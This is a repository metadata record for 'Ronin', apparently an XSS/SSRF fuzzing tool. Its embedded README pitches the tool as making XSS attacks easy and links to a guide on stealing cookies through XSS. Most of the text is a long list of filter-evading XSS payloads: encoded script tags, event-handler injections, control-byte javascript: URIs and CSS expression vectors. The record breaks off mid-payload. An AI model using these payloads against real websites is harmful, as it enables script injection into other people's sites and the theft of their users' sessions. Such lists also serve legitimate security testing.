{"id":18107148,"url":"https://github.com/byt3n33dl3/ronin","last_synced_at":"2025-10-12T06:38:16.342Z","repository":{"id":248486624,"uuid":"779360490","full_name":"byt3n33dl3/Ronin","owner":"byt3n33dl3","description":"🔱 Ronin the Shogun, WebApp parameter analysis and fuzzer for XSS and SSRF.","archived":false,"fork":false,"pushed_at":"2024-09-08T09:29:25.000Z","size":467,"stargazers_count":14,"open_issues_count":0,"forks_count":4,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-10-12T06:38:13.559Z","etag":null,"topics":["crlf","cross-site-request-forgery","cross-site-scripting","injection-attacks","ronin","ssrf","xss"],"latest_commit_sha":null,"homepage":"https://ronin.my.io","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"artistic-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/byt3n33dl3.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-03-29T16:52:12.000Z","updated_at":"2025-09-27T19:31:14.000Z","dependencies_parsed_at":"2024-09-18T06:33:36.971Z","dependency_job_id":"91897e9b-cefc-4589-b5bf-a52ad701b155","html_url":"https://github.com/byt3n33dl3/Ronin","commit_stats":null,"previous_names":["pxcs/ronin","byt3n33dl3/ronin"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/byt3n33dl3/Ronin","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FRonin","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FRonin/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FRonin/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FRonin/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/byt3n33dl3","download_url":"https://codeload.github.com/byt3n33dl3/Ronin/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/byt3n33dl3%2FRonin/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279010517,"owners_count":26084757,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-12T02:00:06.719Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["crlf","cross-site-request-forgery","cross-site-scripting","injection-attacks","ronin","ssrf","xss"],"created_at":"2024-10-31T23:09:32.085Z","updated_at":"2025-10-12T06:38:16.322Z","avatar_url":"https://github.com/byt3n33dl3.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"[![Downloads](https://img.shields.io/badge/Download-Windows%20Build-blue.svg)](https://github.com/pxcs/Ronin/releases)\n[![License](https://img.shields.io/badge/License-Artistic%20v2%2B-blue.svg)](https://github.com/github.com/pxcs/Ronin/assets/LICENSE)\n# Ronin the shogun\n\u003cbr\u003e\n\n\u003ca href=\"https://github.com/pxcs/ronin/\"\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/assets/ronin.png\"\u003e\n\u003c/p\u003e\u003c/a\u003e\n\n# Installation\n\n```shell\ngit clone https://github.com/pxcs/Ronin.git\ncd ronin\npython2 ronin.py\n```\n[here!](https://github.com/pxcs/Ronin/) --\u003e this tool / software is provided for educational and research purpose only. The author of this project are no way responsible for any misuse of **ronin**.\u003cbr\u003e\n\n\u003e - [What is XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))\n\n\u003e - [Steal cookie with XSS Attack](https://security.stackexchange.com/questions/49185/xss-cookie-stealing-without-redirecting-to-another-page)\n\n- [How to use XSS](https://canyoupwn.me/tr-how-to-use-xss/)\n## The automatic XSS injection attack\nronin will help you to make an easy Cross-Site Scripting ( XSS ) attacks, this are a type of injection, in which malicious scripts are injected into otherwise benign and `trusted` websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ch4\u003eXSS Manual Script\u003c/h4\u003e\u003c/summary\u003e\n\n```plaintext\n'\"-prompt(8)-\"\n'-prompt(8)-'\n\";a=prompt,a()//\n';a=prompt,a()//\n'-eval(\"window \")-'\n\"-eval(\"window \")-\"\n\"onclick=prompt(8)\u003e\"@x.y\n\"onclick=prompt(8)\u003e\u003csvg/onload=prompt(8)\u003e\"@x.y\n\u003cimage/src/onerror=prompt(8)\u003e\n\u003cimg/src/onerror=prompt(8)\u003e\n\u003cimage src/onerror=prompt(8)\u003e\n\u003cimg src/onerror=prompt(8)\u003e\n\u003cimage src =q onerror=prompt(8)\u003e\n\u003cimg src =q onerror=prompt(8)\u003e\n\u003c/scrip\u003c/script\u003et\u003e\u003cimg src =q onerror=prompt(8)\u003e\n\u003cscript\\x20type=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x3Etype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x0Dtype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x09type=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x0Ctype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x2Ftype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x0Atype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n'`\"\u003e\u003c\\x3Cscript\u003ejavascript:alert(1)\u003c/script\u003e        \n'`\"\u003e\u003c\\x00script\u003ejavascript:alert(1)\u003c/script\u003e\n\u003cimg src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/img\u003e\n\u003caudio src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/audio\u003e\n\u003cvideo src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/video\u003e\n\u003cbody src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/body\u003e\n\u003cimage src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/image\u003e\n\u003cobject src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/object\u003e\n\u003cscript src=1 href=1 onerror=\"javascript:alert(1)\"\u003e\u003c/script\u003e\n\u003csvg onResize svg onResize=\"javascript:javascript:alert(1)\"\u003e\u003c/svg onResize\u003e\n\u003ctitle onPropertyChange title onPropertyChange=\"javascript:javascript:alert(1)\"\u003e\u003c/title onPropertyChange\u003e\n\u003ciframe onLoad iframe onLoad=\"javascript:javascript:alert(1)\"\u003e\u003c/iframe onLoad\u003e\n\u003cbody onMouseEnter body onMouseEnter=\"javascript:javascript:alert(1)\"\u003e\u003c/body onMouseEnter\u003e\n\u003cbody onFocus body onFocus=\"javascript:javascript:alert(1)\"\u003e\u003c/body onFocus\u003e\n\u003cframeset onScroll frameset onScroll=\"javascript:javascript:alert(1)\"\u003e\u003c/frameset onScroll\u003e\n\u003cscript onReadyStateChange script onReadyStateChange=\"javascript:javascript:alert(1)\"\u003e\u003c/script onReadyStateChange\u003e\n\u003chtml onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseUp\u003e\n\u003cbody onPropertyChange body onPropertyChange=\"javascript:javascript:alert(1)\"\u003e\u003c/body onPropertyChange\u003e\n\u003csvg onLoad svg onLoad=\"javascript:javascript:alert(1)\"\u003e\u003c/svg onLoad\u003e\n\u003cbody onPageHide body onPageHide=\"javascript:javascript:alert(1)\"\u003e\u003c/body onPageHide\u003e\n\u003cbody onMouseOver body onMouseOver=\"javascript:javascript:alert(1)\"\u003e\u003c/body onMouseOver\u003e\n\u003cbody onUnload body onUnload=\"javascript:javascript:alert(1)\"\u003e\u003c/body onUnload\u003e\n\u003cbody onLoad body onLoad=\"javascript:javascript:alert(1)\"\u003e\u003c/body onLoad\u003e\n\u003cbgsound onPropertyChange bgsound onPropertyChange=\"javascript:javascript:alert(1)\"\u003e\u003c/bgsound onPropertyChange\u003e\n\u003chtml onMouseLeave html onMouseLeave=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseLeave\u003e\n\u003chtml onMouseWheel html onMouseWheel=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseWheel\u003e\n\u003cstyle onLoad style onLoad=\"javascript:javascript:alert(1)\"\u003e\u003c/style onLoad\u003e\n\u003ciframe onReadyStateChange iframe onReadyStateChange=\"javascript:javascript:alert(1)\"\u003e\u003c/iframe onReadyStateChange\u003e\n\u003cbody onPageShow body onPageShow=\"javascript:javascript:alert(1)\"\u003e\u003c/body onPageShow\u003e\n\u003cstyle onReadyStateChange style onReadyStateChange=\"javascript:javascript:alert(1)\"\u003e\u003c/style onReadyStateChange\u003e\n\u003cframeset onFocus frameset onFocus=\"javascript:javascript:alert(1)\"\u003e\u003c/frameset onFocus\u003e\n\u003capplet onError applet onError=\"javascript:javascript:alert(1)\"\u003e\u003c/applet onError\u003e\n\u003cmarquee onStart marquee onStart=\"javascript:javascript:alert(1)\"\u003e\u003c/marquee onStart\u003e\n\u003cscript onLoad script onLoad=\"javascript:javascript:alert(1)\"\u003e\u003c/script onLoad\u003e\n\u003chtml onMouseOver html onMouseOver=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseOver\u003e\n\u003chtml onMouseEnter html onMouseEnter=\"javascript:parent.javascript:alert(1)\"\u003e\u003c/html onMouseEnter\u003e\n\u003cbody onBeforeUnload body onBeforeUnload=\"javascript:javascript:alert(1)\"\u003e\u003c/body onBeforeUnload\u003e\n\u003chtml onMouseDown html onMouseDown=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseDown\u003e\n\u003cmarquee onScroll marquee onScroll=\"javascript:javascript:alert(1)\"\u003e\u003c/marquee onScroll\u003e\n\u003cxml onPropertyChange xml onPropertyChange=\"javascript:javascript:alert(1)\"\u003e\u003c/xml onPropertyChange\u003e\n\u003cframeset onBlur frameset onBlur=\"javascript:javascript:alert(1)\"\u003e\u003c/frameset onBlur\u003e\n\u003capplet onReadyStateChange applet onReadyStateChange=\"javascript:javascript:alert(1)\"\u003e\u003c/applet onReadyStateChange\u003e\n\u003csvg onUnload svg onUnload=\"javascript:javascript:alert(1)\"\u003e\u003c/svg onUnload\u003e\n\u003chtml onMouseOut html onMouseOut=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseOut\u003e\n\u003cbody onMouseMove body onMouseMove=\"javascript:javascript:alert(1)\"\u003e\u003c/body onMouseMove\u003e\n\u003cbody onResize body onResize=\"javascript:javascript:alert(1)\"\u003e\u003c/body onResize\u003e\n\u003cobject onError object onError=\"javascript:javascript:alert(1)\"\u003e\u003c/object onError\u003e\n\u003cbody onPopState body onPopState=\"javascript:javascript:alert(1)\"\u003e\u003c/body onPopState\u003e\n\u003chtml onMouseMove html onMouseMove=\"javascript:javascript:alert(1)\"\u003e\u003c/html onMouseMove\u003e\n\u003capplet onreadystatechange applet onreadystatechange=\"javascript:javascript:alert(1)\"\u003e\u003c/applet onreadystatechange\u003e\n\u003cbody onpagehide body onpagehide=\"javascript:javascript:alert(1)\"\u003e\u003c/body onpagehide\u003e\n\u003csvg onunload svg onunload=\"javascript:javascript:alert(1)\"\u003e\u003c/svg onunload\u003e\n\u003capplet onerror applet onerror=\"javascript:javascript:alert(1)\"\u003e\u003c/applet onerror\u003e\n\u003cbody onkeyup body onkeyup=\"javascript:javascript:alert(1)\"\u003e\u003c/body onkeyup\u003e\n\u003cbody onunload body onunload=\"javascript:javascript:alert(1)\"\u003e\u003c/body onunload\u003e\n\u003ciframe onload iframe onload=\"javascript:javascript:alert(1)\"\u003e\u003c/iframe onload\u003e\n\u003cbody onload body onload=\"javascript:javascript:alert(1)\"\u003e\u003c/body onload\u003e\n\u003chtml onmouseover html onmouseover=\"javascript:javascript:alert(1)\"\u003e\u003c/html onmouseover\u003e\n\u003cobject onbeforeload object onbeforeload=\"javascript:javascript:alert(1)\"\u003e\u003c/object onbeforeload\u003e\n\u003cbody onbeforeunload body onbeforeunload=\"javascript:javascript:alert(1)\"\u003e\u003c/body onbeforeunload\u003e\n\u003cbody onfocus body onfocus=\"javascript:javascript:alert(1)\"\u003e\u003c/body onfocus\u003e\n\u003cbody onkeydown body onkeydown=\"javascript:javascript:alert(1)\"\u003e\u003c/body onkeydown\u003e\n\u003ciframe onbeforeload iframe onbeforeload=\"javascript:javascript:alert(1)\"\u003e\u003c/iframe onbeforeload\u003e\n\u003ciframe src iframe src=\"javascript:javascript:alert(1)\"\u003e\u003c/iframe src\u003e\n\u003csvg onload svg onload=\"javascript:javascript:alert(1)\"\u003e\u003c/svg onload\u003e\n\u003chtml onmousemove html onmousemove=\"javascript:javascript:alert(1)\"\u003e\u003c/html onmousemove\u003e\n\u003cbody onblur body onblur=\"javascript:javascript:alert(1)\"\u003e\u003c/body onblur\u003e\n\\x3Cscript\u003ejavascript:alert(1)\u003c/script\u003e\n'\"`\u003e\u003cscript\u003e/* *\\x2Fjavascript:alert(1)// */\u003c/script\u003e\n\u003cscript\u003ejavascript:alert(1)\u003c/script\\x0D\n\u003cscript\u003ejavascript:alert(1)\u003c/script\\x0A\n\u003cscript\u003ejavascript:alert(1)\u003c/script\\x0B\n\u003cscript charset=\"\\x22\u003ejavascript:alert(1)\u003c/script\u003e\n\u003c!--\\x3E\u003cimg src=xxx:x onerror=javascript:alert(1)\u003e --\u003e\n--\u003e\u003c!-- ---\u003e \u003cimg src=xxx:x onerror=javascript:alert(1)\u003e --\u003e\n--\u003e\u003c!-- --\\x00\u003e \u003cimg src=xxx:x onerror=javascript:alert(1)\u003e --\u003e\n--\u003e\u003c!-- --\\x21\u003e \u003cimg src=xxx:x onerror=javascript:alert(1)\u003e --\u003e\n--\u003e\u003c!-- --\\x3E\u003e \u003cimg src=xxx:x onerror=javascript:alert(1)\u003e --\u003e\n`\"'\u003e\u003cimg src='#\\x27 onerror=javascript:alert(1)\u003e\n\u003ca href=\"javascript\\x3Ajavascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\"'`\u003e\u003cp\u003e\u003csvg\u003e\u003cscript\u003ea='hello\\x27;javascript:alert(1)//';\u003c/script\u003e\u003c/p\u003e\n\u003ca href=\"javas\\x00cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x07cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x0Dcript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x0Acript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x08cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x02cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x03cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x04cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x01cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x05cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x0Bcript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x09cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x06cript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javas\\x0Ccript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003cscript\u003e/* *\\x2A/javascript:alert(1)// */\u003c/script\u003e\n\u003cscript\u003e/* *\\x00/javascript:alert(1)// */\u003c/script\u003e\n\u003cstyle\u003e\u003c/style\\x3E\u003cimg src=\"about:blank\" onerror=javascript:alert(1)//\u003e\u003c/style\u003e\n\u003cstyle\u003e\u003c/style\\x0D\u003cimg src=\"about:blank\" onerror=javascript:alert(1)//\u003e\u003c/style\u003e\n\u003cstyle\u003e\u003c/style\\x09\u003cimg src=\"about:blank\" onerror=javascript:alert(1)//\u003e\u003c/style\u003e\n\u003cstyle\u003e\u003c/style\\x20\u003cimg src=\"about:blank\" onerror=javascript:alert(1)//\u003e\u003c/style\u003e\n\u003cstyle\u003e\u003c/style\\x0A\u003cimg src=\"about:blank\" onerror=javascript:alert(1)//\u003e\u003c/style\u003e\n\"'`\u003eABC\u003cdiv style=\"font-family:'foo'\\x7Dx:expression(javascript:alert(1);/*';\"\u003eDEF \n\"'`\u003eABC\u003cdiv style=\"font-family:'foo'\\x3Bx:expression(javascript:alert(1);/*';\"\u003eDEF \n%253Cscript%253Ealert('XSS')%253C%252Fscript%253E\n\u003cscript\u003eif(\"x\\\\xE1\\x96\\x89\".length==2) { javascript:alert(1);}\u003c/script\u003e\n\u003cscript\u003eif(\"x\\\\xE0\\xB9\\x92\".length==2) { javascript:alert(1);}\u003c/script\u003e\n\u003cscript\u003eif(\"x\\\\xEE\\xA9\\x93\".length==2) { javascript:alert(1);}\u003c/script\u003e\n'`\"\u003e\u003c\\x3Cscript\u003ejavascript:alert(1)\u003c/script\u003e\n'`\"\u003e\u003c\\x00script\u003ejavascript:alert(1)\u003c/script\u003e\n\"'`\u003e\u003c\\x3Cimg src=xxx:x onerror=javascript:alert(1)\u003e\n\"'`\u003e\u003c\\x00img src=xxx:x onerror=javascript:alert(1)\u003e\n\u003cscript src=\"data:text/plain\\x2Cjavascript:alert(1)\"\u003e\u003c/script\u003e\n\u003cscript src=\"data:\\xD4\\x8F,javascript:alert(1)\"\u003e\u003c/script\u003e\n\u003cscript src=\"data:\\xE0\\xA4\\x98,javascript:alert(1)\"\u003e\u003c/script\u003e\n\u003cscript src=\"data:\\xCB\\x8F,javascript:alert(1)\"\u003e\u003c/script\u003e\n\u003cscript\\x20type=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x3Etype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x0Dtype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x09type=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x0Ctype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x2Ftype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\n\u003cscript\\x0Atype=\"text/javascript\"\u003ejavascript:alert(1);\u003c/script\u003e\nABC\u003cdiv style=\"x\\x3Aexpression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:expression\\x5C(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:expression\\x00(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:exp\\x00ression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:exp\\x5Cression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\x0Aexpression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\x09expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE3\\x80\\x80expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x84expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xC2\\xA0expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x80expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x8Aexpression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\x0Dexpression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\x0Cexpression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x87expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xEF\\xBB\\xBFexpression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\x20expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x88expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\x00expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x8Bexpression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x86expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x85expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x82expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\x0Bexpression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x81expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x83expression(javascript:alert(1)\"\u003eDEF\nABC\u003cdiv style=\"x:\\xE2\\x80\\x89expression(javascript:alert(1)\"\u003eDEF\n\u003ca href=\"\\x0Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x0Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xC2\\xA0javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x05javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE1\\xA0\\x8Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x18javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x11javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x88javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x89javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x17javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x03javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x0Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x1Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x00javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x10javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x82javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x20javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x13javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x09javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x8Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x14javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x19javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\xAFjavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x1Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x81javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x1Djavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x87javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x07javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE1\\x9A\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x83javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x04javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x01javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x08javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x84javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x86javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE3\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x12javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x0Djavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x0Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x0Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x15javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\xA8javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x16javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x02javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x1Bjavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x06javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\xA9javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x80\\x85javascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x1Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\xE2\\x81\\x9Fjavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"\\x1Cjavascript:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javascript\\x00:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javascript\\x3A:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javascript\\x09:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javascript\\x0D:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n\u003ca href=\"javascript\\x0A:javascript:alert(1)\" id=\"fuzzelement1\"\u003etest\u003c/a\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x0Aonerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x22onerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x0Bonerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x0Donerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x \\x2Fonerror=javascript:alert(1)\u003e\n`\"'\u003e\u003cimg src=xxx:x 